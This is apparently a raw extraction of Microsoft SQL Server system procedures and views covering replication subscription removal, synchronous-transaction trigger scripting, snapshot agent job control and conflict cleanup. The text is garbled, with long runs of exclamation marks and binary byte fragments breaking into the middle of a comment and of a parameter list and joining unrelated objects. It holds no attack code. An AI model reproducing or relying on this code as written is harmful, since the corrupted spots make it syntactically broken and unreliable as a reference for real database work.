	  AND	art.pubid = pub.pubid
	  AND	pub.pubid = @pubid

    IF @artid IS NULL
	BEGIN
		RAISERROR (20027, 11, -1, @article)
		RETURN (1)
	END

    /*
    ** Parameter Check: @destination_db.
    ** Set @destination_db to current database if not specified.  Make
    ** sure that the @destination_db conforms to the rules for identifiers.
    */

    IF @destination_db IS NULL
    BEGIN
        /*
        ** Check if the subscription exists.
        */

        IF NOT EXISTS (SELECT *
                         FROM syssubscriptions
                        WHERE ((@subscriber is not null) and (srvname is not null and len(srvname) > 0 and srvname = UPPER(@subscriber)  )
                        		or ((@subscriber is null) and (srvname is null or len(srvname) = 0) and srvid = @virtual_id and @srvid = @virtual_id ))
                          AND artid = @artid)
        BEGIN    
                RAISERROR (14055, 11, -1)
                RETURN (1)
        END
        ELSE

        SELECT @destination_db = 'all' 
    END
    ELSE
    BEGIN
        EXECUTE @retcode = sys.sp_validname @destination_db
        IF @retcode <> 0
        RETURN (1)
    END

    IF LOWER(@destination_db) = 'all' 
    BEGIN
    	BEGIN TRANSACTION 
		SAVE TRANSACTION dropallsubscriptions

        DECLARE hCdropsub4  CURSOR LOCAL FAST_FORWARD FOR 
            SELECT DISTINCT dest_db
                FROM syssubscriptions 
                WHERE ((@subscriber is not null) and (srvname is not null and len(srvname) > 0 and srvname = UPPER(@subscriber)  )
                or ((@subscriber is null) and (srvname is null or len(srvname) = 0) and srvid = @virtual_id and @srvid = @virtual_id ))
                AND artid = @artid
        OPEN hCdropsub4
        FETCH hCdropsub4 INTO @destination_db
        WHILE (@@fetch_status <> -1)
        BEGIN
            EXECUTE @retcode = sys.sp_MSrepl_dropsubscription 
						                @publication = @publication,
						                @article = @article,
						                @subscriber = @subscriber,
						                @destination_db = @destination_db,
						                @ignore_distributor = @ignore_distributor,
						                @reserved = @reserved,
						                @publisher = @publisher,
						                @publisher_type = @publisher_type

    		IF @retcode != 0 or @@ERROR != 0
			BEGIN
				ROLLBACK TRANSACTION dropallsubscriptions
				COMMIT TRANSACTION

				RETURN 1
			END

            FETCH hCdropsub4 INTO @destination_db
        END
        CLOSE hCdropsub4
        DEALLOCATE hCdropsub4

        COMMIT TRANSACTION dropallsubscriptions
        RETURN (0)
    END

    /*
    ** Dropping virtual subscriptions is not allowed
    ** in following case:
    ** 1. non sa or dbo user
    ** 2. the stored procedure is not in internal usage mode 
    **        (called by system stored procedures)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
]@Hq9T
    **
    ** Note: Only immediate_sync publications have virtual subscriptions
    ** 
    */

    IF  @srvid = @virtual_id  AND  (
        @reserved <> @internal)
        BEGIN
            RAISERROR (14056, 16, -1)
            RETURN (1)
        END

    /*
    ** Check if the subscription exists.
    */

    IF NOT EXISTS (SELECT *
                     FROM syssubscriptions
                    WHERE ((@subscriber is not null) and (srvname is not null and len(srvname) > 0 and srvname = UPPER(@subscriber)  )
	                    or ((@subscriber is null) and (srvname is null or len(srvname) = 0) and srvid = @virtual_id and @srvid = @virtual_id ))
                      AND artid = @artid
                      AND dest_db = @destination_db)
    BEGIN
            RAISERROR (14055, 11, -1)
            RETURN (1)
    END


    /* Check the current login id. It is valid only when
    ** 1. sa or dbo
    ** 2. same as the one who added the subscription.
    */
    SELECT @login_name = login_name 
         FROM syssubscriptions
        WHERE ((@subscriber is not null) and (srvname is not null and len(srvname) > 0 and srvname = UPPER(@subscriber)  )
	                    or ((@subscriber is null) and (srvname is null or len(srvname) = 0) and srvid = @virtual_id and @srvid = @virtual_id ))
          AND artid = @artid
          AND dest_db = @destination_db

    IF  suser_sname(suser_sid()) <> @login_name AND is_srvrolemember('sysadmin') <> 1  
        AND is_member ('db_owner') <> 1
    BEGIN
            SELECT @qualified_subscription_name = @subscriber + N':' + @destination_db
            RAISERROR(21120, 11, -1, @qualified_subscription_name, @publication)
            RETURN (1)
    END

	begin tran
    save TRANSACTION dropsubscription
    		
	/* If dropping virtual subscriptions, reset immediate_sync_ready bit */
	IF @srvid = @virtual_id
	BEGIN
		UPDATE	syspublications
		SET		immediate_sync_ready = 0
		WHERE	immediate_sync = 1
		  AND	immediate_sync_ready = 1
		  AND	pubid = @pubid

	    IF @@ERROR <> 0
	        goto UNDO
	END

	/*
	** Change the status of the subscription to 'inactive'.
	*/

	EXECUTE @retcode =	sys.sp_MSrepl_changesubstatus
						@publication		= @publication,
						@article			= @article,
						@subscriber			= @subscriber,
						@status				= 'inactive',
						@destination_db		= @destination_db,
						@ignore_distributor	= @ignore_distributor,
						@publisher			= @publisher,
						@publisher_type			= @publisher_type

						
	IF @@ERROR <> 0 OR @retcode <> 0
	BEGIN
	    if @@trancount > 0
	    begin
	        ROLLBACK TRANSACTION dropsubscription
	        commit tran
	    end
	    RETURN (1)
	END

    /* Read the subscription_type befor removing the syssubscriptions row */
    select @subscription_type = subscription_type from syssubscriptions
        WHERE artid = @artid
        AND ((@subscriber is not null) and (srvname is not null and len(srvname) > 0 and srvname = UPPER(@subscriber)  )
	                    or ((@subscriber is null) and (srvname is null or len(srvname) = 0) and srvid = @virtual_id and @srvid = @virtual_id ))
        AND dest_db = @destination_db
    /*
    ** Remove subscription from syssubscriptions.
    */
    DELETE syssubscriptions
     WHERE artid = @artid
       AND ((@subscriber is not null) and (srvname is not null and len(srvname) > 0 and srvname = UPPER(@subscriber)  )
	                    or ((@subscriber is null) and (srvname is null or len(srvname) = 0) and srvid = @virtual_id and @srvid = @virtual_id ))
       AND dest_db = @destination_db

    IF @@ERROR <> 0
    BEGIN
        if @@trancount > 0
        begin
            ROLLBACK TRANSACTION dropsubscription
            commit tran
        end
        RETURN (1)
    END

    /* Call sp_MSunregistersubscription so that the reg entries get deleted (for push subscriptions) */
    if @subscription_type = @push
        begin
            declare @publisher_db sysname
            set @publisher_db = DB_NAME()
            exec @retcode = sys.sp_MSunregistersubscription @publisher = @publisher_local,
                                @publisher_db = @publisher_db,
                                @publication = @publication,
                                @subscriber = @subscriber,
                                @subscriber_db = @destination_db

            IF @retcode<>0 or @@ERROR<>0
                GOTO UNDO
        end             
  
    COMMIT TRANSACTION 
    
    -- Call sp_MSrepl_dropsubscriber to drop the subscriber if there are now no subscriptions
    -- associated with the subscriber.  This call is intentionally made outside the 
    -- transaction, since a failure here should not prevent dropping the subscription.
    -- We will ignore all errors and not just the error returned when there are existing
    -- subscriptions and only make the call if we are not in a transaction.
    IF NOT @@trancount > 0
	BEGIN
		EXECUTE sys.sp_MSrepl_dropsubscriber	@subscriber = @subscriber,
												@publisher = @publisher,
												@ignore_distributor = @ignore_distributor,
												@noraise = 1,
												@reserved = NULL
	END
	RETURN (0)		

UNDO:
    ROLLBACK TRAN dropsubscription
    COMMIT TRAN
    RETURN(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(IvvGcreate procedure sys.sp_MSarticle_synctran_commands(
		@publication sysname    /* publication name */,
		@article sysname			/* individual article name, not all*/,
		@command_only bit = 0,   /* 0 if called by snapshot agent, 1 if called by sp_script_..., */
		@publisher sysname = NULL,
		@publisher_db sysname = NULL,
		@distributor sysname = NULL,
		@has_ts bit = 0, -- base table has timestamp column
		@has_ident bit = 0, -- base table has identity column
		@alter bit = 0, -- if 1 script alter, otherwise script create
        @trig_only bit = 0, -- if 1 we only return the trigger generation command
        @usesqlclr bit = 1
) AS
BEGIN
    SET NOCOUNT ON

DECLARE @retcode int
-- The only case where @command_only = 0 is needed is in 
-- sp_MSget_synctran_commands, but if sqlclr is used in 
-- sp_MSget_synctran_commands for scripting the synctran commands, 
-- sp_MSarticle_synctran_commands is not called at all
if @usesqlclr = 1 and @command_only = 1
begin
    exec @retcode = sys.sp_MSscriptsynctrancommands_sqlclr
        @publication = @publication
        ,@article = @article
        ,@publisher = @publisher
        ,@command_only = @command_only
        ,@alter = @alter
        ,@trig_only = @trig_only    
    if (@@ERROR != 0 OR @retcode != 0)
	begin
	    RETURN (1)
	end
end
else
begin
DECLARE @artid int
        ,@tabid int
        ,@filter_clause nvarchar(4000)
        ,@pubid int
        ,@dest_table sysname 
        ,@dest_owner sysname
        ,@proc_owner sysname

        ,@ts_col sysname
        ,@replcmd nvarchar(max)
        ,@insproc sysname
        ,@updproc sysname
        ,@delproc sysname
        ,@cftproc sysname
        ,@cft_table sysname
        ,@is_synctran bit
        ,@is_queued bit
        ,@identity_col sysname
        ,@identity_support bit
        ,@independent_agent bit
        ,@ver_check_cmd nvarchar(4000)
        ,@f_refresh_columns bit

    select @insproc = null
            ,@updproc = null
            ,@delproc = null
            ,@ts_col = NULL
            ,@identity_col = NULL
            ,@identity_support = 0
            ,@f_refresh_columns = 0

    --
    -- @command_only=1 is only called by DDL, in which case we want to output the scripting code
    --otherwise called by sp_MSget_synctran_commands, in which case we just want to populate #art_commands here 
    --
    if (@command_only = 1)
        create table #art_commands (artid int NOT NULL, commands nvarchar(max) collate database_default null, id int identity NOT NULL)
    SELECT @artid = art.artid
                ,@tabid = art.objid
                ,@dest_table = art.dest_table
                ,@dest_owner = ISNULL(art.dest_owner, N'null')
                ,@filter_clause = case art.filter 
                                            when 0 then N'null'
                                            else case art.type & 0x3 
                                                    when 0x3 then N'null'
                                                        else RTRIM(LTRIM(CONVERT(nvarchar(4000), filter_clause)))
                                                    end
                                            end
                ,@pubid = pub.pubid
                ,@independent_agent = independent_agent
                ,@is_synctran = allow_sync_tran
                ,@is_queued = allow_queued_tran
                ,@proc_owner = schema_name(objectproperty(sync_ins_proc, 'SchemaId'))
                ,@insproc = object_name(sync_ins_proc)
                ,@updproc = object_name(sync_upd_proc)
                ,@delproc = object_name(sync_del_proc)
                ,@cftproc = object_name(ins_conflict_proc)
                ,@cft_table = object_name(conflict_tableid) 
                ,@identity_support = identity_support
    FROM sysarticles art join syspublications pub
                on pub.pubid = art.pubid
        join sysarticleupdates upd
                on art.artid = upd.artid and upd.pubid = art.pubid
    WHERE pub.name = @publication
        AND (art.type & 0x1) = 1
        AND (art.name = @article)

    if @insproc IS NULL
    begin
        RAISERROR (14043, 11, -1, '@insproc', 'sp_MSarticle_synctran_commands')
        RETURN (1)
    end
    if @updproc IS NULL 
    begin
        RAISERROR (14043, 11, -1, '@updproc', 'sp_MSarticle_synctran_commands')
        RETURN (1)
    end
    if @delproc IS NULL
    begin
        RAISERROR (14043, 11, -1, '@delproc', 'sp_MSarticle_synctran_commands')
        RETURN (1)
    end
    if (@is_queued = 1 and @cftproc IS NULL)
    begin
        RAISERROR (14043, 11, -1, '@cftproc', 'sp_MSarticle_synctran_commands')
        RETURN (1)
    end
    SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT

    IF @publisher IS NULL
    BEGIN
        set @publisher = publishingservername()
    END
    -- Construct ver check cmd
    -- Construct message.
    IF (@trig_only = 0)
    BEGIN
        select @ver_check_cmd = formatmessage(21273)
        select @ver_check_cmd = '''' + replace(@ver_check_cmd, '''', '''''') + ''''
        select @ver_check_cmd = 'if @@microsoftversion<0x07320000 raiserror(' + 
            @ver_check_cmd + ',16, -1)'

        insert into #art_commands values (@artid, @ver_check_cmd)                       
        if (@@ERROR != 0)
        begin
            RETURN (1)
        end
    END

    --
    -- Determine if table has timestamp property
    --
    if @has_ts = 1 
    begin
        select @ts_col = sys.fn_MSis_col_replicated (@publication, @article, 'timestamp')
        if (@@ERROR != 0)
        begin
            RETURN (1)
        end
    end

    --
    -- Determine if published table has identity  col
    --
    if @has_ident = 1 
    begin
        select @identity_col = sys.fn_MSis_col_replicated (@publication, @article, 'identity')
        if (@@ERROR != 0)
        begin
            RETURN (1)
        end
    end

    --
    -- get the distributor details for this publisher
    --
    if @distributor is NULL and @trig_only = 0
    begin
        exec @retcode = sys.sp_MSrepl_getdistributorinfo @distributor = @distributor OUTPUT
        if (@@ERROR != 0 OR @retcode != 0 or @distributor IS NULL)
        begin
            raiserror(14071, 16, -1)
            RETURN (1)
        end
    end
    --
    -- Prepare for scripting the commands for subscriber
    --
    declare @fullname nvarchar(517)
                ,@indkey       int
                ,@indid        int
                ,@key          sysname
                ,@col          sysname
                ,@this_col     int
                ,@src_cols     int
                ,@primary_key_bitmap varbinary(4000)
                ,@byte varbinary(1)
                ,@i_byte         int
                ,@num_bytes      int
                ,@i_bit          tinyint 
                ,@bitmap_str varchar(8000)
                ,@bitmap         varbinary(4000)
                ,@colid int

    -- Get qualified name
    exec sys.sp_MSget_qualified_name @tabid, @fullname output
    
    -- Get number of columns in the partition.
    exec sys.sp_MSget_col_position @tabid, @artid, @key, @col output, 
        @this_col output, 
        1, -- Get num of columns in the partition.
        @src_cols output
    select @num_bytes = @src_cols / 8 + 1

    -- Set varbinary length
    set @byte = 0
    set @primary_key_bitmap = @byte
    set @i_byte = 1
    while @i_byte < @num_bytes
    begin
        set @primary_key_bitmap = @primary_key_bitmap + @byte
        set @i_byte = @i_byte + 1
    end

    -- get index id
    exec @indid = sys.sp_MStable_has_unique_index @tabid
    set @indkey = 1
    while @indkey < 16 and index_col(@fullname, @indid, @indkey) is not null
    begin
        set @key = index_col(@fullname, @indid, @indkey)
        exec sys.sp_MSget_col_position @tabid, @artid, @key!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(IC%vG, @col output, @this_col output
        set @i_byte = 1 + (@this_col-1) / 8
        set @i_bit  = power(2, (@this_col-1) % 8 )
        set @primary_key_bitmap 
            = substring(@primary_key_bitmap, 1, @i_byte - 1)
            + convert(binary(1), substring(@primary_key_bitmap, @i_byte, 1) | @i_bit)
            + substring(@primary_key_bitmap, @i_byte + 1, @num_bytes - @i_byte)
        select @indkey = @indkey + 1
    end
    exec @retcode = sys.xp_varbintohexstr @primary_key_bitmap, @bitmap_str output
    if @retcode <> 0 or @@error <> 0
        return 1

    --
    -- If we are processing queued publications, insert command
    -- to populate MSsubsciption_articles for this article and refresh
    -- sysarticlecolumn entries
    --
    if (@is_queued = 1 AND @trig_only = 0)
    begin
        --
        -- cft table should exist
        --
        if (@cft_table IS NULL)
        begin
            raiserror(21569, 16, 1, @article, @publication)
            return 1                
        end
        --
        -- add command for Yukon or newer subscribers
        --
        select @replcmd = N'if (@@microsoftversion >= 0x09000000) begin ' + 
            N'exec sp_addqueued_artinfo ' + 
            cast(@artid as nvarchar(10)) collate database_default + ', N' +
            quotename(@article,'''') collate database_default + ', N' +                
            quotename(@publisher,'''') collate database_default + ', N' +   
            quotename(@publisher_db,'''') collate database_default + ', N' + 
            quotename(@publication,'''') collate database_default + ', N' +  
            quotename(@dest_table,'''') collate database_default + ', N' + 
            quotename(@dest_owner,'''') collate database_default + ', N' +   
            quotename(@cft_table,'''') collate database_default + 
            N' end '
        --
        -- Must add ver check cmd for each article since user can subscribe
        -- to just one article. 
        --
        insert into #art_commands values (@artid, @replcmd)

        -- shiloh ones need to be called by both initsync and DDL 
        -- as this is the channel which propogates articlecolumns updates
        --
        -- add command for Shiloh subscribers
        --
        select @replcmd = N'if (@@microsoftversion < 0x09000000) begin ' + 
            N'exec sp_addqueued_artinfo ' + 
            cast(@artid as nvarchar(10)) collate database_default + ', N' +
            quotename(@article,'''') collate database_default + ', N' +                
            quotename(@publisher,'''') collate database_default + ', N' +   
            quotename(@publisher_db,'''') collate database_default + ', N' + 
            quotename(@publication,'''') collate database_default + ', N' +  
            quotename(@dest_table,'''') collate database_default + ', N' + 
            quotename(@dest_owner,'''') collate database_default + ', N' +   
            quotename(@cft_table,'''') collate database_default + ', ' +
            sys.fn_varbintohexstr (sys.fn_replgetbitmapfromcolid(@artid)) collate database_default +
            N' end '

        insert into #art_commands values (@artid, @replcmd)
        --
        -- refresh MSsubscription_articlecolumns entries - these are only for Yukon or newer subscribers
        --
        if @alter = 0
        begin
            select @replcmd = N'if (@@microsoftversion >= 0x09000000) begin ' +
                N'delete from MSsubscription_articlecolumns where artid = ' + cast(@artid as nvarchar(10)) collate database_default + 
                    ' and agent_id = (select id from MSsubscription_agents where update_mode > 0 and UPPER(publisher) = UPPER(N' + 
                            quotename(@publisher,'''') collate database_default + 
                            ') and publisher_db = N' + 
                            quotename(@publisher_db,'''') collate database_default +
                            ' and publication = N' + 
                            quotename(@publication,'''') collate database_default + 
                N' ) end '
            insert into #art_commands values (@artid, @replcmd)
        end
        else
        begin
            declare #artcol cursor LOCAL FAST_FORWARD for
                -- delete all the columns mentioned in #tran_columnstable, this should apply to add/drop/alter
                select colid from #tran_columnstable 
            FOR READ ONLY
            open #artcol
            fetch #artcol into @colid
            while (@@fetch_status = 0)
            begin
                select @replcmd = N'if (@@microsoftversion >= 0x09000000) begin ' + 
                    N'delete from MSsubscription_articlecolumns where artid = ' + cast(@artid as nvarchar(10)) collate database_default + 
                    ' and colid = ' + cast(@colid as nvarchar(10)) collate database_default + 
                    ' and agent_id = (select id from MSsubscription_agents where update_mode > 0 and UPPER(publisher) = UPPER(N' + 
                    quotename(@publisher,'''') collate database_default + 
                    ') and publisher_db = N' + 
                    quotename(@publisher_db,'''') collate database_default +
                    ' and publication = N' + 
                    quotename(@publication,'''') collate database_default + 
                    N' ) end '
                insert into #art_commands values (@artid, @replcmd)
                fetch #artcol into @colid
            end             
            close #artcol            
            deallocate #artcol
        end 
        --
        -- in case of alter, we need to refersh the sysarticlecolumns on subscriber side
        -- compare #tran_columnstable with sysarticlecolumns at publisher side to find out what need to be done.
        -- #tran_columnstable is populated by parsing DDL statement, it contains the list of columns being add/drop/altered
        -- sysarticlecolumns on publisher side should have been updated base on #tran_columnstable by the time we get here
        --
        
        --special case for alter since #tran_columnstable may not exists for the other case, having one single query will cause compilation error
        if (@alter = 1 )
        begin
			if exists(select sac.colid from #tran_columnstable tc join sysarticlecolumns sac on tc.colid = sac.colid where artid = @artid)
			begin
				select @f_refresh_columns = 1
			end
        end
        
        if (@alter = 0 and exists (select colid from sysarticlecolumns where artid = @artid))
        	or (@alter = 1 and @f_refresh_columns = 1)
        begin
	        select @replcmd = N'if (@@microsoftversion >= 0x09000000) begin ' + 
	            N'declare @agent_id_' + cast(@artid as nvarchar(12)) + N' int ' + 
	            N'select @agent_id_' + cast(@artid as nvarchar(12)) + N' = id from MSsubscription_agents where update_mode > 0 and UPPER(publisher) = UPPER(N' + 
	            quotename(@publisher,'''') collate database_default + 
	            N') and publisher_db = N' + 
	            quotename(@publisher_db,'''') collate database_default +
	            N' and publication = N' + 
	            quotename(@publication,'''') collate database_default + 
	            N' if @agent_id_' + cast(@artid as nvarchar(12)) + N' is not null begin '
	        if (@alter = 0)
	        begin
	            declare #artcol cursor LOCAL FAST_FORWARD for
	                select colid from sysarticlecolumns where artid = @artid
	            FOR READ ONLY
	        end
	        else 
	        begin
	            declare #artcol cursor LOCAL FAST_FORWARD for
	                select sac.colid from #tran_columnstable tc join sysarticlecolumns sac on tc.colid = sac.colid where artid = @artid
	            FOR READ ONLY
	        end
	        open #artcol
	        fetch #artcol into @colid
	        while (@@fetch_status = 0)
	        begin
	     !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<LIA(RG       select @replcmd = @replcmd + N'insert MSsubscription_articlecolumns (agent_id, artid, colid) values (@agent_id_' + cast(@artid as nvarchar(12)) + N', ' +
	            cast(@artid as nvarchar(10)) collate database_default + N', ' + 
	            cast(@colid as nvarchar(10)) collate database_default + N') ' 
	            fetch #artcol into @colid
	        end             
	        close #artcol            
	        deallocate #artcol
	        select @replcmd = @replcmd + N' end end '
	        insert into #art_commands values (@artid, @replcmd)
        end 
    end -- if (@is_queued = 1)
    --
    -- 
    --
    if @alter = 1 and @trig_only = 0
    begin 
        select @replcmd = N'if (@@microsoftversion >= 0x09000389) begin ' + 
            N'exec sp_addsynctriggerscore N' + 
            quotename(@dest_table,'''') + ', N' + 
            quotename(@dest_owner,'''') + ', N' +  
            quotename(@publisher,'''') + ', N' +   
            quotename(@publisher_db,'''') + ', N' + 
            quotename(@publication,'''') + ', N' +  
            quotename(@insproc,'''') + ', N' +   
            quotename(@updproc,'''') + ', N' +   
            quotename(@delproc,'''') + ', N' + 
            ISNULL(quotename(@cftproc,''''), '''null''')  + ', N' + 
            quotename(@proc_owner,'''') + ', N' + 
            ISNULL(quotename(@identity_col,''''),'''null''') + ', N' + 
            ISNULL(quotename(@ts_col,''''), '''null''') + ', N''' + 
            replace(@filter_clause,'''', '''''')  + ''', ' + 
            @bitmap_str   + ', ' + 
            convert(nvarchar(2), @identity_support)  + ',' +
            convert(nvarchar(2), @independent_agent) + ',' +
            N'2, NULL, NULL, NULL, 1 ' + 
            N'end '
        insert into #art_commands values (@artid, @replcmd)
        select @replcmd = N'if (@@microsoftversion >= 0x080002C0 and @@microsoftversion < 0x09000389) begin ' + 
            N'exec sp_addsynctriggers N' + 
            quotename(@dest_table,'''') + ', N' + 
            quotename(@dest_owner,'''') + ', N' +  
            quotename(@publisher,'''') + ', N' +   
            quotename(@publisher_db,'''') + ', N' + 
            quotename(@publication,'''') + ', N' +  
            quotename(@insproc,'''') + ', N' +   
            quotename(@updproc,'''') + ', N' +   
            quotename(@delproc,'''') + ', N' + 
            ISNULL(quotename(@cftproc,''''), '''null''')  + ', N' + 
            quotename(@proc_owner,'''') + ', N' + 
            ISNULL(quotename(@identity_col,''''),'''null''') + ', N' + 
            ISNULL(quotename(@ts_col,''''), '''null''') + ', N''' + 
            replace(@filter_clause,'''', '''''')  + ''', ' + 
            @bitmap_str   + ', ' + 
            convert(nvarchar(2), @identity_support)  + ',' +
            convert(nvarchar(2), @independent_agent) + ',N' +
            quotename(@distributor,'''') +  ', ' +
            N'2 ' + 
            N'end '
        insert into #art_commands values (@artid, @replcmd)
    end
    --
    -- insert the command to generate the triggers
    -- Handle version specific command scripting
    -- Script the command for 80Sp3 or later subscribers first
    --
    else
    begin
        if @trig_only = 0
        begin
           select @replcmd = N'if (@@microsoftversion >= 0x080002C0) begin ' + 
                N'exec sp_addsynctriggers N' + 
                quotename(@dest_table,'''') + ', N' + 
                quotename(@dest_owner,'''') + ', N' +  
                quotename(@publisher,'''') + ', N' +   
                quotename(@publisher_db,'''') + ', N' + 
                quotename(@publication,'''') + ', N' +  
                quotename(@insproc,'''') + ', N' +   
                quotename(@updproc,'''') + ', N' +   
                quotename(@delproc,'''') + ', N' + 
                ISNULL(quotename(@cftproc,''''), '''null''')  + ', N' + 
                quotename(@proc_owner,'''') + ', N' + 
                ISNULL(quotename(@identity_col,''''),'''null''') + ', N' + 
                ISNULL(quotename(@ts_col,''''), '''null''') + ', N''' + 
                replace(@filter_clause,'''', '''''')  + ''', ' + 
                @bitmap_str   + ', ' + 
                convert(nvarchar(2), @identity_support)  + ',' +
                convert(nvarchar(2), @independent_agent) + ',N' +
                quotename(@distributor,'''') +  ', ' +
                N'2 ' + 
                N'end '
        end
        else -- trigger generation command only
        begin
            select @replcmd = N'exec sys.sp_addsynctriggers N' + -- only called by Yukon SP1+, so sys. is okay
                quotename(@dest_table,'''') + ', N' + 
                quotename(@dest_owner,'''') + ', N' +  
                quotename(@publisher,'''') + ', N' +   
                quotename(@publisher_db,'''') + ', N' + 
                quotename(@publication,'''') + ', N' +  
                quotename(@insproc,'''') + ', N' +   
                quotename(@updproc,'''') + ', N' +   
                quotename(@delproc,'''') + ', N' + 
                ISNULL(quotename(@cftproc,''''), '''null''')  + ', N' + 
                quotename(@proc_owner,'''') + ', N' + 
                ISNULL(quotename(@identity_col,''''),'''null''') + ', N' + 
                ISNULL(quotename(@ts_col,''''), '''null''') + ', N''' + 
                replace(@filter_clause,'''', '''''')  + ''', ' + 
                @bitmap_str   + ', ' + 
                convert(nvarchar(2), @identity_support)  + ',' +
                convert(nvarchar(2), @independent_agent) + ',' +
                'N''NULL'', ' + 
                N'2, ' +
                N'1 ' -- extra flag to dump trigger creation command
        end

        insert into #art_commands values (@artid, @replcmd)
    end
    --
    -- Script the command for pre 80Sp3 or later subscribers
    -- NOTE: This block can be removed once we stop supporting
    -- backwards compatibility with 80Sp3 queued subscribers
    --
    if @trig_only = 0 -- flag only in 90sp1+
    begin
        select @replcmd = N'if (@@microsoftversion < 0x080002C0) begin ' + 
            N'exec sp_addsynctriggers N' + 
            quotename(@dest_table,'''') + ', N' + 
            quotename(@dest_owner,'''') + ', N' +  
            quotename(@publisher,'''') + ', N' +   
            quotename(@publisher_db,'''') + ', N' + 
            quotename(@publication,'''') + ', N' +  
            quotename(@insproc,'''') + ', N' +   
            quotename(@updproc,'''') + ', N' +   
            quotename(@delproc,'''') + ', N' + 
            ISNULL(quotename(@cftproc,''''), '''null''')  + ', N' + 
            quotename(@proc_owner,'''') + ', N' + 
            ISNULL(quotename(@identity_col,''''),'''null''') + ', N' + 
            ISNULL(quotename(@ts_col,''''), '''null''') + ', N''' + 
            replace(@filter_clause,'''', '''''')  + ''', ' + 
            @bitmap_str   + ', ' + 
            convert(nvarchar(2), @identity_support)  + ',' +
            convert(nvarchar(2), @independent_agent) + ',N' +
            quotename(@distributor,'''') + 
            N' end '

        insert into #art_commands values (@artid, @replcmd)
    end

    if @command_only = 1
        select commands from #art_commands where artid = @artid order by id
    --
    -- all done
    --
end
    return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<CG./>0oE@ 8CREATE VIEW INFORMATION_SCHEMA.VIEWS
AS
SELECT
	DB_NAME()						AS TABLE_CATALOG,
	SCHEMA_NAME(schema_id)			AS TABLE_SCHEMA,
	name							AS TABLE_NAME,
	convert(nvarchar(4000),
		OBJECT_DEFINITION(object_id))		AS VIEW_DEFINITION,
	convert(varchar(7), CASE with_check_option
		WHEN 1 THEN 'CASCADE'
		ELSE 'NONE' END)				AS CHECK_OPTION,
	'NO'								AS IS_UPDATABLE
FROM
	sys.views
0S 8 
-- add it
create view sys.dm_pdw_nodes_os_buffer_descriptors as
select *, convert(int, null) pdw_node_id from sys.dm_os_buffer_descriptors
0xL c8create procedure sys.sp_MSsnapshotagentjobcontrol
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @action         tinyint
)
as
begin
    set nocount on

    declare @publisher_id int
    declare @job_id uniqueidentifier    
    declare @retcode int
    set @retcode = 0

    select @publisher_id = server_id
      from sys.servers
      where upper(name) = upper(@publisher) collate database_default

    -- Joining to sysjobs_view & sysjobsteps to make sure we are starting a 
    -- snapshot job.
    set @job_id = null
    select @job_id = mssa.job_id
      from dbo.MSsnapshot_agents as mssa
inner join msdb.dbo.sysjobs_view as sjv
        on mssa.job_id = sjv.job_id
inner join msdb.dbo.sysjobsteps as sjs
        on sjv.job_id = sjs.job_id
     where mssa.publisher_id = @publisher_id
       and mssa.publisher_db = @publisher_db
       and mssa.publication = @publication
       and sjv.category_id = 15
       and sjs.subsystem = N'Snapshot'
       and mssa.dynamic_filter_login is NULL
       and mssa.dynamic_filter_hostname is NULL

    if @job_id is null
        raiserror(20678, 16, -1, @publication)

    exec @retcode = sys.sp_MSreplicationagentjobcontrol 
        @job_id = @job_id,
        @action = @action        
    return @retcode
end
0S@ $	8
create procedure sys.sp_MScleanup_conflict
@pubid					uniqueidentifier,
@conflict_retention int = NULL
AS
	declare @pubname			sysname
	declare @valid_date			datetime
	declare @conflict_table		nvarchar(512)
	declare @conflict_id		int
	declare @retention_string		nvarchar(100)
	declare @pubidstr			nvarchar(100)
	declare @retcode			int
	
	--if no conflict_retention value is specified, query local table and find out.
	if @conflict_retention is NULL
		select @conflict_retention=conflict_retention from dbo.sysmergepublications where pubid=@pubid

